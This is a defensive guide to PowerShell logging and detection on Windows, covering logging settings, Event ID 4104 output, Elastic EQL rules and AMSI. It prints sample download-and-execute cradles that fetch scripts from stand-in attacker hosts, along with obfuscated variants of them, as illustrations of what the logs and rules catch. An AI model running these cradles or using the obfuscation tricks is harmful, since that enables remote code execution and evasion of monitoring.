PowerShell is involved in a majority of modern Windows intrusions. Its value to attackers comes from four properties: it is present on every Windows system, it can execute code entirely from memory, it can access the full .NET framework and
Windows APIs, and disabling it breaks legitimate administration workflows. The defensive answer is not blocking — it is logging, baselining, and detection.
Logging configuration — all three types
Module logging records the names of all modules, cmdlets, functions, and scripts that execute. Enable via GPO:
Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell > Turn on Module Logging Module Names: * (wildcard captures all modules)
Produces Event ID 4103 in Microsoft-Windows-PowerShell/Operational.
Script block logging captures the actual script content as executed, after deobfuscation. This is the most important one:
Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell > Turn on PowerShell Script Block Logging Enable: Yes Log script block invocation start/stop events: Yes (optional, high volume)
Produces Event ID 4104. For obfuscated payloads, the log will contain both the obfuscated original and the decoded execution-ready version.
Transcription writes a full session transcript to a file. Useful for post-incident review but not real-time detection:
Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell > Turn on PowerShell Transcription Transcript output directory: \fileserver\ps_transcripts$\ Include invocation headers: Yes
What Event ID 4104 looks like for a download cradle
Log Name: Microsoft-Windows-PowerShell/Operational
Event ID: 4104
Level: Warning
ScriptBlockText:
IEX (New-Object System.Net.WebClient).DownloadString(
"https://raw.githubusercontent.com/attacker/tools/main/payload.ps1"
)
Path:
ScriptBlockId: {3a4b5c6d-...}
MessageNumber: 1
MessageTotal: 1
Note the Warning level — PowerShell automatically flags script blocks containing known suspicious patterns (IEX, DownloadString, Add-Type, etc.) at Warning level. This makes SIEM alerting straightforward: any 4104 event at Warning or above
warrants investigation.
Common obfuscation techniques and how 4104 exposes them
String concatenation:
# Obfuscated - bypasses string-matching on "DownloadString":
$cmd = "Down"+"load"+"String"
(New-Object Net.WebClient).$cmd("https://evil.example/p.ps1")
# 4104 logs the resolved execution:
# ScriptBlockText: (New-Object Net.WebClient).DownloadString("https://evil.example/p.ps1")
Character code substitution:
# Obfuscated:
[char]73+[char]69+[char]88 # = "IEX"
[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String("SQBFAFAA..."))
# 4104 logs what actually ran after evaluation
Backtick escaping:
# Obfuscated - backticks ignored by parser:
i`ex (ne`w-ob`ject ne`t.web`client).do`wnloadstring("https://evil.example/p.ps1")
# 4104 logs: IEX (New-Object Net.WebClient).DownloadString("...")
Detection queries — Elastic EQL
Download cradles:
sequence by host.name with maxspan=30s
[process where event.type == "start" and process.name == "powershell.exe"]
[process where event.action == "Script Block Logging"
and (
winlog.event_data.ScriptBlockText : "*DownloadString*" or
winlog.event_data.ScriptBlockText : "*WebClient*" or
winlog.event_data.ScriptBlockText : "*Invoke-WebRequest*" or
winlog.event_data.ScriptBlockText : "*Start-BitsTransfer*"
)
]
Reflective loading (.NET assembly loaded from memory):
any where event.provider == "Microsoft-Windows-PowerShell" and
event.code == "4104" and (
winlog.event_data.ScriptBlockText : "*[Reflection.Assembly]::Load*" or
winlog.event_data.ScriptBlockText : "*[Reflection.Assembly]::LoadWithPartialName*" or
winlog.event_data.ScriptBlockText : "*Add-Type*-TypeDefinition*"
)
AMSI — the additional logging layer
Windows Antimalware Scan Interface (AMSI) passes PowerShell content to registered AV/EDR engines before execution. Even without script block logging, AMSI events appear in the Microsoft-Antimalware-Scan-Interface event log (Event ID 1101). AMSI
cannot be bypassed by obfuscation at the script block level — it sees decoded content. Common AMSI bypass techniques target the AMSI provider DLL in memory rather than the script content itself, which is why Sysmon process tampering detection
(Event ID 25) is a useful complementary data source.